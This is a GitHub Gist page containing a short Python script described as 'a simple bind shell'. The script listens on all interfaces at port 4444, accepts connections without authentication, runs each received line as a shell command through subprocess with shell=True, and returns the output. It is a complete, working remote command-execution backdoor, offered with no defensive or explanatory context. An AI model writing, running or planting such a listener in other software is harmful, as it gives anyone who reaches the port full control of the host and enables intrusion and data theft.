Created
January 17, 2026 13:40
-
-
Save ABB00717/5fd793320c4a0df44df933f1f4e83ad1 to your computer and use it in GitHub Desktop.
A simple bind shell in python.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import socket | |
| import subprocess | |
| import click | |
| from threading import Thread | |
| def run_cmd(cmd): | |
| output = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) | |
| return output.stdout | |
| def handle_input(client_socket): | |
| while True: | |
| chunks = [] | |
| chunk = client_socket.recv(2048) | |
| chunks.append(chunk) | |
| while len(chunk) != 0 and chr(chunk[-1]) != '\n': | |
| chunk = client_socket.recv(2048) | |
| chunks.append(chunk) | |
| cmd = (b''.join(chunks)).decode()[:-1] | |
| if cmd.lower() == 'exit': | |
| client_socket.close() | |
| break | |
| output = run_cmd(cmd) | |
| client_socket.sendall(output) | |
| @click.command() | |
| @click.option('--port', '-p', default=4444) | |
| def main(port): | |
| s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
| s.bind(('0.0.0.0', port)) | |
| s.listen(4) | |
| while True: | |
| client_socket, _ = s.accept() | |
| t = Thread(target=handle_input, args=(client_socket, )) | |
| t.start() | |
| if __name__ == '__main__': | |
| main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment